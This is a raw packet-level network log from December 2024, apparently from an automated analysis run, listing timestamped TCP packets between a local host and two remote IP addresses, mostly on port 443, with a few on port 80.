Dec 9, 2024 06:50:57.127938986 CET	443	49978	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.128416061 CET	49978	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.128456116 CET	443	49978	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.128864050 CET	443	49979	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.128940105 CET	49978	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.128952980 CET	443	49978	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.129194021 CET	49979	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.129201889 CET	443	49979	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.129523039 CET	49979	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.129527092 CET	443	49979	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.130918026 CET	443	49980	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.131223917 CET	49980	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.131247997 CET	443	49980	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.131537914 CET	49980	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.131542921 CET	443	49980	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.242130041 CET	443	49981	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.242778063 CET	49981	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.242795944 CET	443	49981	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.243401051 CET	49981	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.243406057 CET	443	49981	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.546267033 CET	443	49977	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.550276995 CET	443	49977	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.550340891 CET	49977	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.550385952 CET	49977	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.550401926 CET	443	49977	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.550412893 CET	49977	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.550417900 CET	443	49977	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.553227901 CET	49982	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.553297043 CET	443	49982	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.553364038 CET	49982	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.553513050 CET	49982	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.553525925 CET	443	49982	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.562278032 CET	443	49978	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.562477112 CET	443	49978	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.562560081 CET	49978	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.562609911 CET	49978	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.562609911 CET	49978	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.562632084 CET	443	49978	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.562643051 CET	443	49978	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.564841032 CET	49983	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.564872026 CET	443	49983	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.564980984 CET	443	49979	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.565022945 CET	49983	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.565177917 CET	49983	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.565188885 CET	443	49983	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.565707922 CET	443	49980	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.565768003 CET	443	49980	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.565896034 CET	49980	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.566051960 CET	49980	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.566051960 CET	49980	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.566066980 CET	443	49980	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.566076994 CET	443	49980	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.568065882 CET	49984	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.568074942 CET	443	49984	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.568104982 CET	443	49979	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.568172932 CET	443	49979	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.568208933 CET	49979	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.568218946 CET	49984	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.568248987 CET	49979	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.568269014 CET	49979	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.568285942 CET	443	49979	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.568298101 CET	49979	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.568303108 CET	443	49979	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.568500996 CET	49984	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.568511963 CET	443	49984	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.570161104 CET	49985	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.570184946 CET	443	49985	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.570360899 CET	49985	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.570557117 CET	49985	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.570566893 CET	443	49985	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.675872087 CET	443	49981	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.679049015 CET	443	49981	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.679120064 CET	443	49981	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.679132938 CET	49981	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.679245949 CET	49981	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.679245949 CET	49981	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.679270983 CET	49981	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.679302931 CET	443	49981	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.682116032 CET	49986	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.682146072 CET	443	49986	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.682307959 CET	49986	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.682467937 CET	49986	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.682478905 CET	443	49986	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.077656031 CET	443	49982	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.078445911 CET	49982	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.078480005 CET	443	49982	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.078944921 CET	49982	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.078957081 CET	443	49982	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.100110054 CET	443	49983	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.100641966 CET	49983	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.100651979 CET	443	49983	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.101270914 CET	49983	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.101274967 CET	443	49983	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.293340921 CET	443	49984	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.293612957 CET	443	49985	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.294024944 CET	49984	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.294044018 CET	443	49984	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.294234991 CET	49985	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.294275999 CET	443	49985	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.294508934 CET	49984	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.294514894 CET	443	49984	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.294748068 CET	49985	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.294759989 CET	443	49985	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.399329901 CET	443	49986	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.399964094 CET	49986	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.399981976 CET	443	49986	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.400742054 CET	49986	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.400748968 CET	443	49986	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.511733055 CET	443	49982	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.514790058 CET	443	49982	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.514921904 CET	49982	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.515168905 CET	49982	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.515202999 CET	443	49982	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.515222073 CET	49982	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.515229940 CET	443	49982	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.517765045 CET	49987	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.517826080 CET	443	49987	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.517913103 CET	49987	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.518049955 CET	49987	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.518066883 CET	443	49987	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.534143925 CET	443	49983	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.537286043 CET	443	49983	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.537343025 CET	443	49983	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.537389040 CET	49983	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.537446976 CET	49983	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.537481070 CET	49983	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.537481070 CET	49983	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.537498951 CET	443	49983	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.537509918 CET	443	49983	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.540359020 CET	49988	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.540390015 CET	443	49988	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.540488958 CET	49988	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.540651083 CET	49988	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.540664911 CET	443	49988	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.726407051 CET	443	49984	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.726530075 CET	443	49985	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.730103016 CET	443	49984	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.730104923 CET	443	49985	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.730207920 CET	49985	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.730220079 CET	49984	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.730273008 CET	49985	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.730273008 CET	49985	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.730298042 CET	443	49985	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.730312109 CET	443	49985	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.731168032 CET	49984	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.731168032 CET	49984	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.731184006 CET	443	49984	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.731193066 CET	443	49984	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.733757973 CET	49989	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.733820915 CET	443	49989	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.733902931 CET	49989	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.734488010 CET	49990	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.734519005 CET	443	49990	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.734566927 CET	49990	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.734632015 CET	49989	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.734657049 CET	443	49989	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.734705925 CET	49990	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.734721899 CET	443	49990	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.833929062 CET	443	49986	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.836925030 CET	443	49986	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.837392092 CET	49986	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.837462902 CET	49986	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.837476969 CET	443	49986	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.837490082 CET	49986	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.837495089 CET	443	49986	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.840353966 CET	49991	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.840411901 CET	443	49991	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:59.840495110 CET	49991	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.840723991 CET	49991	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:59.840738058 CET	443	49991	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:00.089096069 CET	80	49935	181.214.58.112	192.168.2.11
Dec 9, 2024 06:51:00.089355946 CET	49935	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:51:00.089355946 CET	49935	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:51:00.208873034 CET	80	49935	181.214.58.112	192.168.2.11
Dec 9, 2024 06:51:00.435940027 CET	49992	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:51:00.555452108 CET	80	49992	181.214.58.112	192.168.2.11
Dec 9, 2024 06:51:00.555542946 CET	49992	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:51:00.555828094 CET	49992	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:51:00.675152063 CET	80	49992	181.214.58.112	192.168.2.11
Dec 9, 2024 06:51:01.252404928 CET	443	49987	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.254209995 CET	49987	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.254236937 CET	443	49987	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.254987001 CET	49987	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.254993916 CET	443	49987	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.267816067 CET	443	49988	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.268551111 CET	49988	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.268563986 CET	443	49988	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.269098043 CET	49988	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.269100904 CET	443	49988	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.461968899 CET	443	49989	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.462265015 CET	443	49990	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.462491035 CET	49989	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.462528944 CET	443	49989	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.462821960 CET	49990	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.462846994 CET	443	49990	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.463248014 CET	49989	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.463254929 CET	443	49989	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.463395119 CET	49990	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.463403940 CET	443	49990	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.569994926 CET	443	49991	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.570808887 CET	49991	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.570864916 CET	443	49991	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.571465015 CET	49991	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.571474075 CET	443	49991	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.688165903 CET	443	49987	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.691263914 CET	443	49987	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.691335917 CET	443	49987	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.695066929 CET	49987	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.695133924 CET	49987	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.695152044 CET	443	49987	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.695163965 CET	49987	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.695168972 CET	443	49987	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.698005915 CET	49993	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.698050022 CET	443	49993	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.698158979 CET	49993	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.698293924 CET	49993	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.698303938 CET	443	49993	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.701060057 CET	443	49988	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.704505920 CET	443	49988	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.704596043 CET	49988	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.704658985 CET	49988	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.704675913 CET	443	49988	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.704689026 CET	49988	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.704694986 CET	443	49988	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.707036018 CET	49994	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.707070112 CET	443	49994	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.711100101 CET	49994	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.711394072 CET	49994	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.711406946 CET	443	49994	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.895642996 CET	443	49989	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.895715952 CET	443	49989	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.895889044 CET	49989	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.895951033 CET	49989	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.895977974 CET	443	49989	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.895989895 CET	49989	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.895996094 CET	443	49989	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.899081945 CET	49995	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.899121046 CET	443	49995	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.899219036 CET	49995	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.899360895 CET	49995	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.899369955 CET	443	49995	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.900819063 CET	443	49990	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.900841951 CET	443	49990	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.900908947 CET	49990	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.900923967 CET	443	49990	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.901093960 CET	49990	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.901106119 CET	443	49990	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.901113987 CET	49990	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.901273012 CET	443	49990	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.901304007 CET	443	49990	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.901357889 CET	49990	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.903590918 CET	49996	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.903625965 CET	443	49996	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:01.907052040 CET	49996	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.907183886 CET	49996	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:01.907196045 CET	443	49996	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:02.004287958 CET	443	49991	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:02.004357100 CET	443	49991	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:02.005191088 CET	49991	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:02.005228996 CET	49991	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:02.005228996 CET	49991	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:02.005247116 CET	443	49991	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:02.005260944 CET	443	49991	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:02.008111000 CET	49997	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:02.008156061 CET	443	49997	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:02.008560896 CET	49997	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:02.008702993 CET	49997	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:02.008712053 CET	443	49997	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.415421963 CET	443	49993	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.416012049 CET	49993	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.416043043 CET	443	49993	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.416500092 CET	49993	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.416511059 CET	443	49993	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.425329924 CET	443	49994	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.425882101 CET	49994	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.425906897 CET	443	49994	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.426280975 CET	49994	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.426291943 CET	443	49994	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.614978075 CET	443	49995	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.615425110 CET	49995	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.615456104 CET	443	49995	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.615860939 CET	49995	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.615868092 CET	443	49995	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.622617960 CET	443	49996	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.623415947 CET	49996	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.623440981 CET	443	49996	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.623828888 CET	49996	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.623836040 CET	443	49996	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.724811077 CET	443	49997	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.725430012 CET	49997	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.725476027 CET	443	49997	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.725878000 CET	49997	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.725883961 CET	443	49997	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.854305983 CET	443	49993	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.854330063 CET	443	49993	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.854480982 CET	49993	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.854506016 CET	443	49993	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.854779959 CET	49993	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.854796886 CET	443	49993	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.854805946 CET	49993	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.854959011 CET	443	49993	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.854994059 CET	443	49993	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.855037928 CET	49993	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.857673883 CET	49998	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.857728958 CET	443	49998	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.857809067 CET	49998	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.857943058 CET	49998	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.857954025 CET	443	49998	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.858738899 CET	443	49994	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.858771086 CET	443	49994	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.858921051 CET	49994	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.858946085 CET	443	49994	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.859030962 CET	49994	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.859044075 CET	443	49994	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.859054089 CET	49994	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.859217882 CET	443	49994	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.859251976 CET	443	49994	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.859292030 CET	49994	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.861120939 CET	49999	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.861160994 CET	443	49999	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:03.861234903 CET	49999	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.861349106 CET	49999	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:03.861361027 CET	443	49999	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.050802946 CET	443	49995	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.050834894 CET	443	49995	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.050973892 CET	49995	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.051002026 CET	443	49995	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.051280022 CET	49995	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.051291943 CET	443	49995	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.051300049 CET	49995	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.051464081 CET	443	49995	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.051496029 CET	443	49995	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.054209948 CET	50000	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.054249048 CET	443	50000	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.054264069 CET	49995	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.054325104 CET	50000	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.054471016 CET	50000	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.054478884 CET	443	50000	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.058082104 CET	443	49996	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.058108091 CET	443	49996	13.107.246.63	192.168.2.11
